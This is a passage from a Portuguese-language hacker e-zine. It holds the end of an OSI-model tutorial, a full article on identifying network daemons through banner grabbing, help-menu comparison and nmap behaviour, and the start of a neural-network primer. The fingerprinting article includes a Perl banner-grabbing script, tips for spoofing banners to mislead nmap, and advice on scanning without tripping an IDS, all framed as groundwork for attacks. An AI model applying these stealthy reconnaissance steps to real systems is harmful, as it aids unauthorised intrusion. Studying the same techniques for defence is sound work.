	O modelo de referência OSI(Open Systems Interconnection) foi criado pela
ISO (International Standards Organization) para interconexão de redes heterogê-
neas/sistemas abertos, visando por um fim à incompatibilidade até então enfren-
tada pelas redes de computadores da época.    



--=[ 2.0 - Camadas

	Basicamente, pode-se  dividi-lo em sete camadas, classificadas de acor-
do com suas funções. Todo o processo de comunicação entre computadores, segue o
padrão de encapsulamento, isto é,  a camada de nível mais alto é encapsulada na
de nível inferior. Cada camada não possui um protocolo específico, mas uma fun-
ção determinada, que é preenchida por algum protocolo desenvolvido para tal.

--=--=[ 2.1 - Aplicação 
 
	Está é a camada mais superior do modelo OSI. É nela que as requisições a
serviços são realizadas,  como visualizar uma página web (HTTP), transferir ar-
quivos(FTP),  ou então receber e enviar emails(POP3 e SMTP).  Também gerencia e
administra os processos de aplicação, faz o controle de acesso, realiza o moni-
toramento e recuperação dos dados, etc.

--=--=[ 2.2 - Apresentação 
 
	É responsável pela interpretação e tradução dos dados vindos da camada
precedente, cuidando da sintaxe das informações transmitidas. Quando se trata do
receptor, as informações que vêm da camada 5 (Sessão) são preparadas na camada 6
(Apresentação)  para a sua utilização por aplicativos  presentes na  camada 7 
(Aplicação). Pode ter outras utilidades, como compressão de dados e criptogra-
fia. No caso da compressão, os dados serão descomprimidos na camada correspoden-
te pelo receptor.

--=--=[ 2.3 - Sessão 
 
	Aqui é onde se inicia o verdadeiro processo de comunicação. A camada de
sessão permite estabelecer a conexão entre computadores distintos. Ela inicia e
termina a sessão de diálogo entre duas máquinas, assim como gerencia e sincroni-
za as informações trafegadas, também realizando a marcação dos dados para o caso
de interrupção na comunicação, quando a conexão é reestabelecida,  sabe-se onde
parou. Em outras palavras, permite que as máquinas se entendam. Fazendo uma ana-
logia com a vida real, seria como um homem em meio a duas mulheres, administran-
trando o momento certo de cada uma falar.

--=--=[ 2.4 - Transporte
 
	Dentre as 7 camadas sintetizadoras do Modelo  OSI, dois grupos podem ser
formados. O primeiro composto pelas  camadas 7, 6, 5 (Aplicação,  Apresentação e
Sessão respectivamente). Este  primeiro grupo se preocupa apenas com  os  dados,
não importando a maneira como estão sendo transportados. O segundo grupo,  conta
com as camadas 3,  2, 1 (Rede, Enlace  de dados e Física  respectivamente). Este
grupo por sua vez, preocupa-se com a transmissão dos dados em si. Você deve  ter
notado a falta da camada 4 (Transporte). É ela quem interliga estes dois grupos.

	A camada de transporte realiza a segmentação dos dados provenientes  da
camada de sessão. Após dividi-los em pacotes repassa à camada de rede. A camada
de sessão estabelece a conexão,  e a de transporte  fornece e gerencia o canal
para troca de dados. Exerce também o controle de fluxo (ordenação dos dados caso
não estejam na ordem correta) e executa  correção de erros, através de mensagens
de recebimento do pacote. No receptor, realiza a junção dos pacotes (multiplexa-
ção) vindos da camada 3 para enviar a camada 5.

--=--=[ 2.5 - Rede

	Realiza o encaminhamento dos pacotes entre redes distintas, roteando os
pacotes e lidando com as adversidades que venham a surgir durante a transmissão,
como congestionamentos. Portanto, faz a conversão dos endereços lógico em ende-
reços físicos.  Cabe a ela encontrar o computador destino no meio de tantos ou-
tros e controlar condições de tráfego e prioridade para o roteamento.
 
--=--=[ 2.6 - Enlace de dados

	Também conhecida como camada de Link de Dados,  tem por função pegar os
pacotes fornecidos pela camada de rede e transformá-los em quadros,  garantindo
uma transmissão confiável através da rede.  Esses quadros  possuem  informações
pertinentes, como endereços da placa de rede do transmissor e receptor,  payload
(os dados em questão)  e o CRC, para  checar a integridade dos  dados (caso  não
seja  enviada  nenhuma  mensagem  de  sucesso  no  transporte,  os  quadros  são
reenviados pela camada 2). Um exemplo de protocolo que trabalha nesta camada   é
o Ethernet, largamente utilizado nas redes de computadores atuais.

--=--=[ 2.7 - Física

	É a camada de mais baixo nível no modelo OSI, sendo o último elo de co-
nexão entre duas máquinas. Sua função principal é fazer a conversão dos quadros
que vêm da camada inferior em sinais elétricos ou luminosos (no caso das fibras
ópticas), mantendo a compatibilidade com o meio de transmissão. Ou seja, a cama-
da física faz a tradução dos quadros vindos da camada 2 em  0s e 1s e em seguida
encaminha os bits através das interfaces de rede.

OBS.: A camada física  não inclui o meio  em que os dados  trafegam, como  cabos
por exemplo. 



--=[ 3.0 - Exemplo prático

	Para  facilitar o entendimento de como  funciona o modelo de referência,
irei propor uma situação hipotética, porém prática da utilização do mesmo para a 
construção de um  arquitetura de rede. Lembrando que as  camadas superiores são
encapsuladas nas inferiores.

Supomos  que um  usuário gostaria  de visualizar  seus e-mails  presentes em  um
servidor.

 * Camada 7
   O primeiro passo é abrir o cliente  de e-mails, que entrará em contato com  o
   servidor, utilizando o protocolo POP3. O ato de requisitar o servidor  usando
   este protocolo, encaixa o mesmo na camada de aplicação do modelo OSI.

 * Camada 6
   A requisição feita pelo usuário usando a camada de aplicação é traduzida para
   uma linguagem padrão para que os dados sejam transportados.

 * Camada 5
  Na camada de Sessão a conexão é estabelecida com o host destino (200.124.1.66,
  *número  fictício).  Esta camada  irá  cuidar do  diálogo  entre as  máquinas,
  interrupções na conexão, avisando o emissor caso alguma coisa aconteça.

 * Camada 4
  Aqui é  criado o  "túnel" fim-a-fim  para o  transporte dos  dados, que  serão
  segmentados em pacotes, e repassados para a camada 3. Protocolos que trabalham
  nesta camada  são o  TCP (Transmission  Control Protocol)  e UDP(User Datagram
  Protocol).

 * Camada 3
  Como sabido,  esta  camada  é responsável   pelo encaminhamento  e  roteamento
  dos pacotes, função essa exercida pelo IP (Internet Protocol) e roteadores.  O
  ICMP (Internet Control Message  Protocol) também age nesta  camada, geralmente
  casado com o IP. 

 * Camadas 2 e 1 
  A camada 2, onde os pacotes são transformados em quadros para serem repassados
  a camada  física, possui  o  Ethernet. Ele  procura  pelo endereço  físico  da
  interface de rede destino (MAC Adress) para então enviar os quadros, de acordo
  com as especificações de cabeamento e sinais elétricos. 

Quando os  bits chegam  na interface  de rede  destino (placa  de rede),   estes
percorrem o caminho inverso ao exercido na máquina emissora.



--=[ 4.0 - Alegoria

	No tópico acima foi visto um exemplo prático da aplicação do modelo OSI
para a construção de uma arquitetura, onde um usuário requisitou a um servidor
ver os e-mails presentes no mesmo.  Agora vou propor uma situação fora do mundo
da informática, para quem sabe esclarecer ainda mais o funcionamento do OSI.

	A Silvia Saint vai estrelar um novo filme, e precisa ir de uma cidade à
outra para filmar.  Por isso ela vai até a rodoviária e compra uma  passagem de
ônibus convencional, porque leito é mais caro. O ato de comprar a passagem, re-
presenta a camada de aplicação no modelo OSI. Ao chegar até a porta do ônibus,
Silvia dá uma boa olhada no motorista, motorista dá uma boa olhada em Silvia, e
então...pede a passagem dela para autenticar e suas malas para marcar. Esta é a
camada de apresentação. Muito bem, começa a viagem e o ônibus se dirige até seu
destino, estabelecendo a "conexão".  Aí temos a camada 5, Sessão.  O ônibus não
pode andar em cima do nada, para  isso é preciso uma estrada, que representa  o
protocolo TCP ou UDP, presentes na camada 4 (Transporte). Todavia surge um pro-
blema, Silvia é a única passageira do ônibus (huhun) e está atrasadíssima para
as filmagens. O motorista então tem de optar pela melhor rota para chegar até o
destino. Encaixamos o IP.  Caso algum imprevisto ocorra, como um pneu furado, o
ICMP entra em ação, e avisa a Central Rodoviária que o ônibus quebrou.  Agora,
para representar as camadas remanescentes, como não encontrei nada melhor, vou
utilizar o combustível do  ônibus. O Ethernet cuidará para que o motorista não
abasteça o veículo com Diesel ao invés de Gasolina. Fim.



--=[ 5.0 - Os protocolos e o Modelo OSI

A figura 1.0 mostra a estrutura do modelo de referência OSI.
  *Ilustração retirada do livro Redes de Computadores, 4ª Edição.

A figura 1.1 mostra os protocolos utilizados tanto na internet como em redes  de
computadores em geral. 
  *Ilustração retirada do Wikipedia, vide referências bibliográficas.
   
 ###########################################################################################
 #                                                                                         #
 # Camada                                                             Nome da unidade      #
 #                                                                     intercambiada       #
 # ____________                                                        ____________        #
 #|            |             Protocolo de aplicação                   |            |       #
 #| Aplicação  |------------------------------------------------------| Aplicação  | APDU  #
 #|____________|                                                      |____________|       #
 # ______|_____                                                        ____________        #
 #|            |             Protocolo de apresentação                |            |       #
 #|Apresentação|------------------------------------------------------|Apresentação| PPDU  # 
 #|____________|                                                      |____________|       # 
 # ______|_____                                                        ____________        #
 #|            |              Protocolo de sessão                     |            |       #
 #|  Sessão    |------------------------------------------------------|  Sessão    | SPDU  #
 #|____________|                                                      |____________|       # 
 # ______|_____                                                        ____________        # 
 #|            |             Protocolo de transporte                  |            |       #
 #| Transporte |------------------------------------------------------| Transporte | TPDU  # 
 #|____________|            Limite da Sub-Rede de Comunicação         |____________|       #
 # ______|_____      ___________________||_____________________        ____________        # 
 #|            |    |   PDRI = Protocolo da Sub-Rede Interna   |      |            |       #
 #|   Rede     |--1-|       ******           ******            |------|   Rede     | Pacote#
 #|____________|  | |       *Rede* ========= *Rede*            |      |____________|       #
 # ______|_____   | |       ******           ******            |       ____________        #
 #|            |  | |        PDRI                              |      |            |       #
 #|   Enlace   |- 2-|       ********         ********          |------|   Enlace   | Quadro#
 #|____________|  | |       *Enlace* ======= *Enlace*          |      |____________|       #
 # ______|_____   | |       ********         ********          |       ____________        #
 #|            |  | |        PDRI                              |      |            |       #
 #|   Física   |--3-|       ********         ********          |------|   Física   | Bit   #
 #|____________|  | |       *Física* ======= *Física*          |      |____________|       #
 #                | |       ********         ********          |                           #
 #  Host A        | |       Roteador         Roteador          |         Host B            #
 #  ^^^^ ^        | |__________________________________________|         ^^^^ ^            #
 #                |_________;1 Protocolo de roteador/host da camada de rede                #
 #                |_________;2 Protocolo de roteador/host da camada de enlace de dados     #
 #                |_________;3 Protocolo de roteador/host da camada física                 #
 ###########################################################################################
                                      Figura 1.0
                                      
  
   
                  #################################################
                  #            Protocolos de Internet             #
                  #################################################
                  # Aplicação   #   HTTP, SMTP, FTP, SSH, IRC,    # 
                  #             #   SMTP, NNTP, POP3, IMAP, etc.  # 
                  # ----------- # ------------------------------- #
                  # Transporte  #   TCP, UDP, SCTP, RTP, DCCP     #
                  # ----------- # ------------------------------- #
                  # Rede        #   IPv4, IPv6, ARP, ICMP         #
                  # ----------- # ------------------------------- #
                  # Ligação     #   Ethernet, 802.11 WiFi, Token  #
                  #             #   Ring, FDDI, PPP, etc.         #
                  # ----------- # ------------------------------- #
                  # Física      #   RS-232, EIA-422, RS-449, etc. #
                  #################################################
                                     Figura 1.1



--=[ 6.0 - Conclusão

	Termino por aqui este pequeno artigo sobre o Modelo OSI. Como o próprio
título do artigo propõe,  foi exposto aqui apenas o básico, mas isso não signi-
fica que seja o necessário. Não se prenda e vá atrás de mais informações a res-
peito, dê uma olhada nos links do Referências Bibliográficas. É isso ae, qual-
quer coisa mail-me.



--=[ 7.0 - Referências Bibliográficas

Arquitetura OSI
http://penta.ufrgs.br/Marco/arqosi.html  

Modelo de Referência OSI
http://www.forumweb.com.br/artigos/artigos.php?action=file&id=268

Entendendo os protocolos
http://www.clubedasredes.eti.br/rede0013.htm

Ethernet
http://pt.wikipedia.org/wiki/Ethernet
                                     
O Modelo OSI de Interconexão de Sistemas Abertos
http://www.teleco.com.br/tutoriais/tutorialosi/default.asp

Comunicação de dados (Normas)
http://www2.ufp.pt/~lmbg/textos/norma_osi.html#camadasois

Livro "Redes de Computadores", 4ª Edição
Livro "Universidade H4CK3R", 1ª Edição


                                      
                   |>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                   ||                                            ||
                   ||           d4rwin at motdlabs.org           || 
                   ||          http://www.d4rwin.cjb.net         ||
                   ||                                            ||
                   || MSN/GoogleTalk > d4rwin@gmail.com          ||
                   || YahooMessenger > d4rwinetico@yahoo.com.br  ||
                   || IRC            > irc.freenode.net -j #motd ||
                   ||                                            ||
                   |>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


"Quem tem boca vai a Roma. Meu fogão tem 4 e não saiu da cozinha."
                                                      (Desconhecido)
                                         
"Bill Gates não é Adão, mais comeu a  Apple. E quem paga os pecados é o  usuário
do Windows."
                                                      (Desconhecido)
                                                      
                                              
                                                      

_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[09]-=[Daemon Fingerprint]=-|Inferninho|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


--=[ Introducao

	Sempre que iniciamos um ataque se faz necessario um estudo sobre o alvo,
determinando assim brechas em potencial, isso inclui sabermos as versoes dos da-
emons que estao rodando no servidor, este texto ira demonstrar alguns metodos de
deteccao destes daemons, assim como estudo sobre os metodos utilizados por algu-
mas ferramentas disponiveis na internet.



--=[ Banner Grabbing

	Todos os daemons exibem um banner de boas vindas quando recebem uma co-
nexao,  na verdade nao passa de pura e simplesmente propaganda do produto,  e'
trivial visualizarmos esse banner,  um simples telnet faz isso.  Supondo que um
atacante queira  descobrir qual o daemon de ftp esta rodando numa maquina alvo,
ele se conecta na porta correspondente ao ftp e aguarda a exibicao do banner.

inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.9 Server (weapon) [weapon.first.weapon.org]
quit
221 Goodbye.
Connection closed by foreign host.

	Como podemos notar se trata de um ProFTPD 1.2.9. Todos os daemons que 
permitem interagir com o usuario via telnet estao sujeitos a esse tipo de detec-
cao, agora vamos ver um esquema que visa puxar o banner do httpd.

inferninho@weapon:~$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
get index.html HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 10 Dec 2004 19:50:59 GMT
Server: Apache/1.3.31 (Unix) PHP/4.3.7
Connection: close
Content-Type: text/html; charset=iso-8859-1



400 Bad Request

Bad Request

Your browser sent a request that this server could not understand.

The request line contained invalid characters following the protocol string.


Apache/1.3.31 Server at weapon.first.weapon.org Port 80
Connection closed by foreign host. Nesse caso simplesmente enviamos um get index.html HTTP/1.0 e foi retor- nado na linha denominada "Server:" a versao do daemon httpd Apache/1.3.31 (Unix) PHP/4.37 alem de podermos notar que o servidor esta rodando num sistema unix e com suporte a PHP. Podemos automatizar todo o processo atraves do uso de ferramentas. - NMAP que pode ser encontrado em http://www.insecure.org/nmap - AMAP da THC http://www.thc.org - TMAP inferninho@weapon:~$ cat tmap.pl <++> tmap.pl #!usr/bin/perl # TMAP (Tosco MAP?)-> Realiza Banner Grabbing # coded by Inferninho ### use IO::Socket; $ARGC=@ARGV; if($ARGC<2) { print "Usage: perl $0 host porta\n\n"; exit; } my ($HOST)=$ARGV[0]; my ($PORT)=$ARGV[1]; my (@res,@ref); my $res; my $pagina="/index.html"; my $socket = IO::Socket::INET->new( PeerAddr => "$HOST", PeerPort => "$PORT", Prot => "tcp" ); die "Nao foi possivel criar a socket\n" unless $socket; if ($PORT eq "80") { &http } elsif ($PORT eq "8080") { &http } else { &outros } sub http { if ($socket) { print $socket "GET $pagina HTTP/1.0\n\n" or die "erro"; } @res=<$socket>; @ref=grep/Server/,@res; print "\nDaemon em $HOST porta $PORT:\n\n"; print "@ref\n"; close ($socket); exit; } sub outros { if ($socket) { print $socket "quit\n" or die "erro"; } $res=<$socket>; print "\nDaemon em $HOST porta $PORT:\n\n"; print "$res\n"; close ($socket); exit; } <--> tmap.pl --=[ Deteccao de Banners Alterados Algumas vezes o banner pode ter sido alterado, ocorrendo o que se co- nhece como seguranca por obscuridade, vemos um exemplo muito claro disso logo abaixo. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 Specter-FTPd 2.1 quit 221 Goodbye. Connection closed by foreign host. Nao conheco nenhum daemon de ftp chamado Specter-FTPd, fica evidente que esse banner foi alterado, a tecnica de banner grabbing vai por agua abaixo nesse caso, mas se comecarmos a comparar alguns daemons veremos que cada um possui al- gumas caracteristicas peculiares, isso mesmo, ja que o daemon nos permite inte- ragir com ele, vamos abusar desse recurso, vamos analisar dois daemons diferen- tes de ftp agora. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 ProFTPD 1.2.9 Server (weapon) [weapon.first.weapon.org] help 214-The following commands are recognized (* =>'s unimplemented). USER PASS ACCT* CWD XCWD CDUP XCUP SMNT* QUIT REIN* PORT PASV EPRT EPSV TYPE STRU MODE RETR STOR STOU APPE ALLO* REST RNFR RNTO ABOR DELE MDTM RMD XRMD MKD XMKD PWD XPWD SIZE LIST NLST SITE SYST STAT HELP NOOP FEAT OPTS ADAT* AUTH* CCC* CONF* ENC* MIC* PBSZ* PROT* 214 Direct comments to root@localhost. quit 221 Goodbye. Connection closed by foreign host. Ao conectarmos rebemos logo de cara a versao do servidor de ftp, trata- se de um ProFTPD 1.2.9, em seguida enviamos um help para vizualizacao do menu de ajuda edepois um quit. Abaixo outro exemplo agora num Pure-FTPd. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220---------- Welcome to Pure-FTPd [TLS] ---------- 220-You are user number 3 of 50 allowed. 220-Local time is now 16:19. Server port: 21. 220-This is a private system - No anonymous login 220 You will be disconnected after 15 minutes of inactivity. help 214-The following SITE commands are recognized ALIAS CHMOD IDLE 214 Pure-FTPd - http://pureftpd.org/ quit 221-Goodbye. You uploaded 0 and downloaded 0 kbytes. 221 Logout. Connection closed by foreign host. Se observamos o menu de ajuda e a mensagem de saida dos dois daemons iremos notar algumas diferencas, comparem como os daemons reagem apos recebe- rem os comandos "help" e "quit". Agora se fizermos o mesmo com o nosso Specter- FTPd, teremos: inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 Specter-FTPd help 214-The following commands are recognized (* =>'s unimplemented). USER PASS ACCT* CWD XCWD CDUP XCUP SMNT* QUIT REIN* PORT PASV EPRT EPSV TYPE STRU MODE RETR STOR STOU APPE ALLO* REST RNFR RNTO ABOR DELE MDTM RMD XRMD MKD XMKD PWD XPWD SIZE LIST NLST SITE SYST STAT HELP NOOP FEAT OPTS ADAT* AUTH* CCC* CONF* ENC* MIC* PBSZ* PROT* 214 Direct comments to root@localhost. quit 221 Goodbye. Connection closed by foreign host. Muito bem, se tivermos que dar um "palpite" ao compararmos a saida do Specter-FTPd com a do ProFTPD e Pure-FTPd, fica realmente obvio que o daemon com banner alterado e um ProFTPD. Alguns podem estar se perguntando, algo como: Mas todos daemons tem saida diferentes? A resposta e' sim, podemos notar diferencas mesmo num mesmo daemon em versoes diferentes. Para ficar mais visivel ainda vou colocar duas saidas referentes ao Exim e ao Sendmail. inferninho@weapon:~$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220-linux.meudns.org ESMTP Exim 4.43 #1 Fri, 10 Dec 2004 18:23:53 -0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail. help 214-Commands supported: 214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP quit 221 weapon.fisrt.weapon.org closing connection Connection closed by foreign host. inferninho@weapon:~$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 weapon.first.weapon.org ESMTP Sendmail 8.12.11/8.12.11; Fri, 10 Dec 2004 20:46:10 GMT help 214-2.0.0 This is sendmail version 8.12.11 214-2.0.0 Topics: 214-2.0.0 HELO EHLO MAIL RCPT DATA 214-2.0.0 RSET NOOP QUIT HELP VRFY 214-2.0.0 EXPN VERB ETRN DSN AUTH 214-2.0.0 STARTTLS 214-2.0.0 For more info use "HELP ". 214-2.0.0 To report bugs in the implementation send email to 214-2.0.0 sendmail-bugs@sendmail.org. 214-2.0.0 For local information send email to Postmaster at your site. 214 2.0.0 End of HELP info quit 221 2.0.0 weapon.first.weapon.org closing connection Connection closed by foreign host. Nesse caso a diferenca eh realmente gritante, mesmo que os banner fossem alterados, o menu de ajuda e mensagem de saida continuam inalterados e nos per- mite identificar o daemon por meio de comparacoes. --=[ Estudo de Caso - NMAP X AMAP X TMAP Na verdade vou centralizar esse topico no nmap uma vez que este e' mais completo que o amap e o tmap, os dois ultimos sao facilmente ludibriados e ainda precisam de algumas implementacoes. inferninho@weapon:~$ perl tmap.pl localhost 21 Daemon em localhost porta 21: 220 Specter-FTPd inferninho@weapon:~$ amap localhost -B 21 amap v4.7 (www.thc.org) started at 2004-12-10 21:20:40 - BANNER GRAB mode Banner on 127.0.0.1:21/tcp : 220 Specter-FTPd\r\n amap v4.7 finished at 2004-12-10 21:20:40 Como podemos ver os dois engolem facilmente o Specter-FTPd e o imprime na tela como uma informacao correta. Isso ocorre por que os dois apenas lancam na tela a primeira informacao que recebem, sem averiguar sua veracidade. Apesar do amap ter outras funcoes alem do banner grabbing o tmap e' mais completo nesse quesito, isso se levarmos em conta que o amap sequer tem implementacao para detectar daemons de httpd. inferninho@weapon:~$ amap localhost -B 80 amap v4.7 (www.thc.org) started at 2004-12-10 21:27:32 - BANNER GRAB mode amap v4.7 finished at 2004-12-10 21:27:38 A saida dele fica em branco, ja no tmap: inferninho@weapon:~$ perl tmap.pl localhost 80 Daemon em localhost porta 80: Server: Apache/1.3.31 (Unix) PHP/4.3.7
Apache/1.3.31 Server at weapon.first.weapon.org Port 80
O nmap faz uma implementacao diferente, ao receber o banner ele confere com um banco de dados (/usr/share/nmap/nmap-service-probes) caso a comparacao seja verdadeira ele imprime a versao do daemon como verdadeira, caso a compa- racao nao confira com nenhuma das assinaturas de banners contidas no banco de dados, ele faz outra implementacao simplesmente enviando um comando "help". Podemos observar isso vendo a saida do tcpdump. Saida do tcpdump caso a primeira comparacao seja verdadeira. root@weapon:/home/inferninho# tcpdump tcpdump: WARNING: Promiscuous mode not supported on the "any" device tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes 22:13:46.583168 IP localhost > localhost: icmp 8: echo request seq 63418 22:13:46.583213 IP localhost > localhost: icmp 8: echo reply seq 63418 [......] Varias Linhas [......] 22:13:51.148052 IP localhost.ftp > localhost.35437: S 1378107143:1378107143(0) ack 3500700108 win 32767 22:13:51.148061 IP localhost.35437 > localhost.ftp: R 3500700108:3500700108(0) win 0 53 packets captured 106 packets received by filter 0 packets dropped by kernel -------- Saida do tcpdump caso a primeira comparacao seja falsa. root@weapon:/home/inferninho# tcpdump tcpdump: WARNING: Promiscuous mode not supported on the "any" device tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes 22:08:21.238284 IP localhost > localhost: icmp 8: echo request seq 58344 22:08:21.238334 IP localhost > localhost: icmp 8: echo reply seq 58344 22:08:21.238697 IP localhost.41564 > localhost.http: . ack 2017081566 win 2048 22:08:21.238735 IP localhost.http > localhost.41564: R 2017081566:2017081566(0) win 0 [......] Varias Linhas [......] 22:08:40.768255 IP localhost.41545 > localhost.ftp: R 3825271309:3825271309(0) win 0 22:08:40.888108 IP localhost.41546 > localhost.ftp: S 3825271309:3825271309(0) win 2048 22:08:40.888170 IP localhost.ftp > localhost.41546: S 1063640235:1063640235(0) ack 3825271310 win 32767 22:08:40.888191 IP localhost.41546 > localhost.ftp: R 3825271310:3825271310(0) win 0 72 packets captured 144 packets received by filter 0 packets dropped by kernel A diferenca na quantidade de envio de pacotes fica exposta nesse momen- to, assim podemos afirmar que o nmap age diferente dependendo do caso. Ao con- trario do que se afirma por ai ele nao faz nenhuma comparacao por meio de res- postas de pacotes para descobrir a versao do daemon, vamos ter mais provas disso logo a seguir. Ah, esse icmp 8: echo request na saida do tcpdump e para o os- fingerprint mas ai eh outra historia. root@weapon:/home/inferninho# nmap -A localhost -p 21 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-12-10 21:41 UTC Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Interesting ports on localhost (127.0.0.1): PORT STATE SERVICE VERSION 21/tcp open ftp 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/serv icefp-submit.cgi : SF-Port21-TCP:V=3.50%D=12/10%Time=41BA1818%P=i486-slackware-linux-gnu%r(NU SF:LL,12,"220\x20Specter-FTPd\r\n")%r(GenericLines,12,"220\x20Specter-FTPd SF:\r\n")%r(Help,232,"220\x20Specter-FTPd\r\n214-The\x20following\x20comma SF:nds\x20are\x20recognized\x20\(\*\x20=>'s\x20unimplemented\)\.\r\n\x20US SF:ER\x20\x20\x20\x20PASS\x20\x20\x20\x20ACCT\*\x20\x20\x20CWD\x20\x20\x20 SF:\x20\x20XCWD\x20\x20\x20\x20CDUP\x20\x20\x20\x20XCUP\x20\x20\x20\x20SMN SF:T\*\x20\x20\x20\r\n\x20QUIT\x20\x20\x20\x20REIN\*\x20\x20\x20PORT\x20\x SF:20\x20\x20PASV\x20\x20\x20\x20EPRT\x20\x20\x20\x20EPSV\x20\x20\x20\x20T SF:YPE\x20\x20\x20\x20STRU\x20\x20\x20\x20\r\n\x20MODE\x20\x20\x20\x20RETR SF:\x20\x20\x20\x20STOR\x20\x20\x20\x20STOU\x20\x20\x20\x20APPE\x20\x20\x2 SF:0\x20ALLO\*\x20\x20\x20REST\x20\x20\x20\x20RNFR\x20\x20\x20\x20\r\n\x20 SF:RNTO\x20\x20\x20\x20ABOR\x20\x20\x20\x20DELE\x20\x20\x20\x20MDTM\x20\x2 SF:0\x20\x20RMD\x20\x20\x20\x20\x20XRMD\x20\x20\x20\x20MKD\x20\x20\x20\x20 SF:\x20XMKD\x20\x20\x20\x20\r\n\x20PWD\x20\x20\x20\x20\x20XPWD\x20\x20\x20 SF:\x20SIZE\x20\x20\x20\x20LIST\x20\x20\x20\x20NLST\x20\x20\x20\x20SITE\x2 SF:0\x20\x20\x20SYST\x20\x20\x20\x20STAT\x20\x20\x20\x20\r\n\x20HELP\x20\x SF:20\x20\x20NOOP\x20\x20\x20\x20FEAT\x20\x20\x20\x20OPTS\x20\x20\x20\x20A SF:DAT\*\x20\x20\x20AUTH\*\x20\x20\x20CCC\*\x20\x20\x20\x20CONF\*\x20\x20\ SF:x20\r\n\x20ENC\*\x20\x20\x20\x20MIC\*\x20\x20\x20\x20PBSZ\*\x20\x20\x20 SF:PROT\*\x20\x20\x20\r\n214\x20Direct\x20comments\x20to\x20root@localhost SF:\.\r\n"); Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux Kernel 2.4.0 - 2.5.20 Uptime 0.134 days (since Fri Dec 10 18:29:19 2004) Nmap run completed -- 1 IP address (1 host up) scanned in 20.050 seconds O nmap confere o banco de dados como nao acha nenhuma saida do Spect- er-FTPd, ele tenta comparar o help e acusaria um ProFTPD 1.2.9, mas o banco de assinatura dele esta incorreto ai a informacao nao bate e ele imprime na tela a saida do help, como podemos conferir observando os trechos em detaque, e pede para enviarmos para o site da insecure.org, provavelmente para implementacoes futuras. Se realmente ele verificasse a respostas de pacotes ao inves do banner e do menu de help, ele pediria para enviar tal pacote e nao o help do daemon. Uma vez que o nmap nao faz essa segunda verificacao todas as vezes, fazendo apenas quando a primeira falha, podemos ludibria-lo colocando um banner valido de outro daemon: se mudarmos o ServerIdent do /etc/proftpd.conf para: ServerIdent on "---------- Welcome to Pure-FTPd [TLS] ----------" Olha o que ocorre com o nmap: root@weapon:# nmap -A localhost -p 21 Interesting ports on localhost (127.0.0.1): PORT STATE SERVICE VERSION 21/tcp open ftp PureFTPd Caso ele enviasse algum pacote e comparasse a resposta como no caso do os-fingerprint com certeza ele nao faria tal afirmacao erronea. O banco de dados com a lista de assinaturas dos daemons encontra-se em: /usr/share/nmap/nmap-se rvice-probes --=[ Conclusao Agora que voce ja sabe como descobrir o que de fato roda naquela porta, faco eu algumas recomendacoes, mesmo que o nmap seja fodao, quer dizer, nem tan- to, evite o uso deles em redes com IDS, a nao ser que voce saiba usar as opcoes corretas dele para fazer um slow scan e mais alguns truques, pois ate o Tabaja- raIDS consegue logar nmap com as regras mais simples. A melhor forma para ma- pear a rede sem ser percebido e ir fazendo tudo manualmente, conectando apenas em portas que realmente rodem algo, se der telnet na porta 1 por exemplo, e mui- to provavel que voce fique logado, entao escolha bem as portas fazendo conexoes legitimas, e de um intervalo em cada tentativa, va tomar um cafe, conversar com a namorada, e volte, nunca se afobe mais que o necessario. _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[10]-=[RNA: Uma Breve Introducao - Parte 1 ]=-|tDs|=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao --=--=[ Neuronios Neuronios sao as principais celulas do sistema nervoso central, sendo composto por corpo celular (soma), dendritos, axonio e telodendro. O axonio, que e' unico por neuronio, e' o responsavel por levar sinais nervosos para fora do neuronio. Dendritos formam uma rede para recebimento de informacoes advindas do exterior do neuronio, ou seja, vindo de outros neuronios. Neuronios normais (todos sao) possuem diversos dendritos. A comunicacao entre os neuronios se da atraves de ligacoes chamadas de sinapses, que resumidamente e' uma ligacao entre dois neuronios, a qual e' feita entre o axonio de um neuronio e um dendrito ou a soma de um outro neuronio, po- dendo ocorrer tambem a ligacao entre dois axonios, embora isso seja menos comum. As sinapses sao tambem responsaveis pela comunicacao entre neuronios e outras celulas nao neurais, como por exemplo musculos ou glandulas. Neuronios do cortex cerebral nos mamiferos (citado agora somente como 